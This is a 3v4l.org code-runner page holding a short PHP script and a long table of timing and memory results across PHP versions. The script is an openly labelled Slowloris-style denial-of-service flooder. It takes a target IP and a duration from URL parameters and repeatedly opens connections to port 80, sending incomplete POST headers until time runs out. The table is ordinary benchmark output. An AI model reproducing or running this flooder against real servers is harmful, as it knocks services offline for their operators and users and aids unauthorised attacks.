3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* All credits go to LUKE from ChickenX Best coder in my eyes - Matin */ $ip = $_GET['ip']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); $max_time = $time+$exec_time; while(1){ if(time() > $max_time){ break; } $fp = fsockopen($ip, 80, $errno, $errstr, 140); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $out = "POST / HTTP/1.1\r\n"; $out .= "Host: $ip\r\n"; $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n"; $out .= "Content-Length: 42\r\n\r\n"; fwrite($fp, $out); } } echo "Slowloris flood complete after: $exec_time seconds\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.2.60.0080.00917.16
7.2.00.0130.00719.65
7.1.200.0060.01116.00
7.1.100.0090.01218.03
7.1.70.0040.01517.30
7.1.60.0060.01919.40
7.1.50.0030.02017.14
7.1.00.0100.04022.66
7.0.200.0000.00816.98
7.0.140.0100.07322.54
7.0.90.0830.08720.39
7.0.80.0400.05320.30
7.0.70.0430.07020.29
7.0.60.0300.05020.26
7.0.50.0430.08320.68
7.0.40.0230.07320.44
7.0.30.0230.08720.53
7.0.20.0200.07320.53
7.0.10.0130.07020.51
7.0.00.0170.04720.30
5.6.280.0100.08021.17
5.6.240.0130.04720.98
5.6.230.0330.06320.95
5.6.220.0270.07321.07
5.6.210.0170.08720.93
5.6.200.0100.09321.39
5.6.190.0200.07321.49
5.6.180.0200.07021.45
5.6.170.0200.08321.34
5.6.160.0200.04021.38
5.6.150.0100.05021.30
5.6.140.0270.07021.47
5.6.130.0300.07321.34
5.6.120.0130.04021.44
5.6.110.0100.03721.35
5.6.100.0170.08321.41
5.6.90.0070.09321.36
5.6.80.0200.08020.72
5.6.70.0100.08320.85
5.6.60.0100.05020.71
5.6.50.0100.09020.97
5.6.40.0270.08020.66
5.6.30.0100.07720.84
5.6.20.0270.06020.58
5.6.10.0200.08720.80
5.6.00.0200.08720.93
5.5.380.0200.04320.73
5.5.370.0200.08720.69
5.5.360.0130.06720.70
5.5.350.0230.08020.78
5.5.340.0200.07321.15
5.5.330.0170.08021.21
5.5.320.0130.05021.03
5.5.310.0270.06721.18
5.5.300.0200.04021.28
5.5.290.0130.08720.99
5.5.280.0200.07021.29
5.5.270.0170.07721.18
5.5.260.0170.08321.30
5.5.250.0070.09021.14
5.5.240.0100.08020.62
5.5.230.0100.07020.59
5.5.220.0170.05320.57
5.5.210.0100.08320.62
5.5.200.0070.05720.41
5.5.190.0230.07320.59
5.5.180.0130.05020.50
5.5.160.0170.07020.63
5.5.150.0230.05020.62
5.5.140.0070.08020.69
5.5.130.0100.09020.63
5.5.120.0300.08020.52
5.5.110.0230.08720.52
5.5.100.0100.05020.36
5.5.90.0170.07320.42
5.5.80.0100.05020.42
5.5.70.0130.08020.45
5.5.60.0100.06720.34
5.5.50.0030.07020.52
5.5.40.0200.06020.29
5.5.30.0000.06320.52
5.5.20.0200.08020.43
5.5.10.0200.05020.29
5.5.00.0130.08720.29
5.4.450.0200.05319.55
5.4.440.0170.07019.45
5.4.430.0030.04019.85
5.4.420.0170.08719.71
5.4.410.0130.08719.43
5.4.400.0270.07319.54
5.4.390.0230.08019.22
5.4.380.0200.07019.24
5.4.370.0170.04019.12
5.4.360.0130.08019.29
5.4.350.0170.07319.40
5.4.340.0200.04719.26
5.4.320.0200.08019.31
5.4.310.0130.07319.38
5.4.300.0030.08719.23
5.4.290.0170.07719.39
5.4.280.0330.04319.39
5.4.270.0230.06719.39
5.4.260.0170.06319.23
5.4.250.0200.07319.56
5.4.240.0230.07719.25
5.4.230.0130.07319.39
5.4.220.0100.08019.30
5.4.210.0230.05319.33
5.4.200.0130.07719.37
5.4.190.0100.07719.30
5.4.180.0170.07719.10
5.4.170.0170.07719.49
5.4.160.0230.08319.22
5.4.150.0170.07319.51
5.4.140.0130.07716.80
5.4.130.0170.06016.64
5.4.120.0170.06016.67
5.4.110.0170.06316.64
5.4.100.0100.04016.74
5.4.90.0130.07716.53
5.4.80.0130.07316.72
5.4.70.0130.07016.75
5.4.60.0100.08016.76
5.4.50.0130.07016.78
5.4.40.0300.07716.71
5.4.30.0200.07716.71
5.4.20.0070.04316.80
5.4.10.0130.03716.61
5.4.00.0100.08016.13
5.3.290.0130.04314.73
5.3.280.0100.07714.72
5.3.270.0130.06714.72
5.3.260.0200.07314.72
5.3.250.0200.08014.72
5.3.240.0130.07714.72
5.3.230.0170.07314.72
5.3.220.0170.06714.72
5.3.210.0170.07014.72
5.3.200.0200.06314.72
5.3.190.0030.08714.72
5.3.180.0100.07714.72
5.3.170.0270.05714.72
5.3.160.0230.09014.72
5.3.150.0230.07714.72
5.3.140.0130.04714.72
5.3.130.0170.08014.72
5.3.120.0100.08014.72
5.3.110.0130.07714.72
5.3.100.0130.04714.72
5.3.90.0100.07714.72
5.3.80.0130.07314.72
5.3.70.0130.07014.72
5.3.60.0170.07014.72
5.3.50.0200.07014.72
5.3.40.0200.07314.72
5.3.30.0100.05714.72
5.3.20.0170.04314.72
5.3.10.0270.07314.72
5.3.00.0170.06714.72

preferences:
34.56 ms | 401 KiB | 5 Q